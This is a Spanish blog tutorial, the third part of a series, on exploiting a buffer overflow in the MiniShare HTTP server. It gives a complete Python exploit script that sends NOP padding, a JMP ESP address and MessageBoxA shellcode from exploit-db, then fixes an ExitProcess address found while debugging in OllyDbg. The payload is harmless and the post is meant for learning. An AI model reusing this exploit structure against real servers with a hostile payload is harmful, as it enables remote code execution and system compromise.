domingo, 2 de marzo de 2014

Buffer overflow a fondo (y III) - Inyectando código

En el anterior post ya fuimos capaces de cargar el EIP con el valor que deseamos y que será la dirección de inicio del código que inyectaremos.
La creación no es tarea trivial, requiere conocimientos de programación en lenguajes de bajo nivel y comprender muy bien toda la estructura de bibliotecas y bloques de control del sistema operativo para el que estamos desarrollando la shell code.

Nos limitaremos a cargar una shell code existente. Iremos a esta página:  http://www.exploit-db.com/ y nos situaremos en la página de búsqueda. Indicamos que queremos buscar:

Seleccionaremos esta Shell

2010-08-20 Exploit Code Downloads - Verified Windows XP SP3 English MessageBoxA Shellcode - 87 bytes 11042 windows Glafkos Charalamb.

Es una shell pequeña e inofensiva. Lo que hace es mostrar en pantalla un cuadro de diálogo. Pero es un buen ejemplo para practicar.

Nos descargamos y editamos el fichero que es un programa en C.
No dice que está probado en: Windows XP SP3 Eng
El nuestro estará en español, luego podemos tener algún problema de funcionamiento. Además se trata de una shell bastante antigua, si hemos tenido nuestro sistema actualizado también podemos tener alguna incompatibilidad.

A nosotros nos interesa realmente la shello code, el bloque de datos definido así:

char shellcode[] =
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
"\x51\x68\x6c\x6c\x20\x20\x68\x33"
"\x32\x2e\x64\x68\x75\x73\x65\x72"
"\x89\xe1\xbb\x7b\x1d\x80\x7c\x51" // 0x7c801d7b ; LoadLibraryA(user32.dll)
"\xff\xd3\xb9\x5e\x67\x30\xef\x81"
"\xc1\x11\x11\x11\x11\x51\x68\x61"
"\x67\x65\x42\x68\x4d\x65\x73\x73"
"\x89\xe1\x51\x50\xbb\x40\xae\x80" // 0x7c80ae40 ; GetProcAddress(user32.dll, MessageBoxA)
"\x7c\xff\xd3\x89\xe1\x31\xd2\x52"
"\x51\x51\x52\xff\xd0\x31\xc0\x50"
"\xb8\x12\xcb\x81\x7c\xff\xd0";    // 0x7c81cb12 ; ExitProcess(0)

Llevamos esta parte de código a nuestro escript python y lo colacamos inmediatamente después de la dirección que de desbordamiento que localizamos en el post anterior, queda así:

#-------------------------------------------------------------------------------
# Name:        module1
#!/usr/bin/python
import socket

target_addr="127.0.0.1"
target_port=80
target_pag="/Bienvenida.htm"
getbuff = "GET "


# Nuestra ShellCode

getbuff+= "\x90" * 1787
#getbuff+= "\x53\x93\x42\x7E"    # Direccion encontrada 7E429353 user32
getbuff+= "\x87\xA7\xA7\x7C"    # Direccion encontrada 7CA7A787 shell32
getbuff+= "\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
getbuff+= "\x51\x68\x6c\x6c\x20\x20\x68\x33"
getbuff+= "\x32\x2e\x64\x68\x75\x73\x65\x72"
getbuff+= "\x89\xe1\xbb\x7b\x1d\x80\x7c\x51"    # 0x7c801d7b ; LoadLibraryA(user32.dll)
getbuff+= "\xff\xd3\xb9\x5e\x67\x30\xef\x81"
getbuff+= "\xc1\x11\x11\x11\x11\x51\x68\x61"
getbuff+= "\x67\x65\x42\x68\x4d\x65\x73\x73"
getbuff+= "\x89\xe1\x51\x50\xbb\x40\xae\x80"    #0x7c80ae40 ; GetProcAddress(user32.dll, MessageBoxA)
getbuff+= "\x7c\xff\xd3\x89\xe1\x31\xd2\x52"
getbuff+= "\x51\x51\x52\xff\xd0\x31\xc0\x50"
getbuff+= "\xb8\x12\xcb\x81\x7c\xff\xd0"        #0x7c81cb12 ; ExitProcess(0)

# ---------------------------------------------------------------------
getbuff+= " HTTP/1.1\r\n\r\n"

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_addr,target_port))
sock.send(getbuff)
sock.close()

Como he dicho antes, esta shell es inofensiva y la he probado antes así que vamos a saltar etapas. Arrancamos el programa minishare.exe y ejecutamos el script que contiene la shell.

Parece que funciona pues vemos como aparece el cuadro de diálogo. Damos al botón y.... algo no va todo lo bien que debía de ir pues el programa finaliza de forma anormal.

Vamos a ver que ha pasado ahora. Abrimos Ollydbg y arrancamos el minishare. Ponemos un breakpoint en la dirección que ya localizamos en el anterior post.

Volvemos a mandar el buffer maligno y el programa se para en el breakpoint. Damos a ejecutar paso a paso sin entrar en procedimientos (f8). El control del EIP para a nuestra shell, seguimos dando has que aparece el cuadro de diálogo. Respondemos y seguimos hasta llegar la instrucción xxxxxxx, respiramos y volvemos a dar F8. ¡¡¡Zas, finalización anormal!!!

El resultado casi era de esperar pues ya habíamos visto que la shell finalizaba anormalmente despues de responder al cuadro de diálogo. El programador de la shell nos ha prestado una ayuda inestimable con los comentarios.

Vamos a ver el manda de funciones con Ollydbg. Verificamos que las direcciones las funciones LoadLibraryA y GetProcAddress coinciden con las que vienen en la shell. No es así con la funcion ExitProcess que tiene está en la direccion: 0x7c81D20A

Cambiamos, en el programa python la última línea y la dejamos así:

getbuff+= "\xb8\x0a\xd2\x81\x7c\xff\xd0"        #0x7c81D20A ; ExitProcess(0)

Rearrancamos minishare.exe y lanzamos el buffer. Nuevamente llegamos al cuadro de diálogo, le damos a aceptar y ahora vemos como el programa cierra de forma normal.

Recapitulando. 

En estos tres posts he intentado explicar como explotar un desbordamiento de buffer desde cero y que se puede resumir en lo siguiente:

  • Existencia de la vulnerabilidad. Mediante el envío de cadenas los suficientemente largas. 
  • Localización del offset de la cadena que sobreescribe el EIP
  • Localización de la instrucción JMP ESP que necesitamos para transferir el control al código que inyectaremos.
  • Poner esa instrucción en el offset del buffer que sobeescribirá el EIP
  • Colocar a continuación la shell que queremos inyectar. 

Otros  conceptos que deberíamos de sacar claros de estos tres hilos son los de vulnerabilidad, explotación (exploit) y payload.

Vulnarabilidad es un error en un programa que puede llegar a comprometer la seguridad de ese programa o, incluso, del sistema donde se está ejecutando el programa vulnerable.
Cuando se ha desarrollado un exploit que permite usar esa vulnerabilidad para nuestros intereses se dice que esa vulnerabilidad es explotable y se llama exploit al elemento que nos permite explotarla.
El exploit, por sí, solo nos abre la puerta que nos permite introducir el payload que es quien nos permitirá comprometer el sistema vulnerable en nuestro beneficio.
En nuestro caso el exploit sería el programa python y la shellcode que hemos introducido sería el payload.

Buffer Overflow a fondo (II) Sobreescribiendo el EIP


No hay comentarios:

Publicar un comentario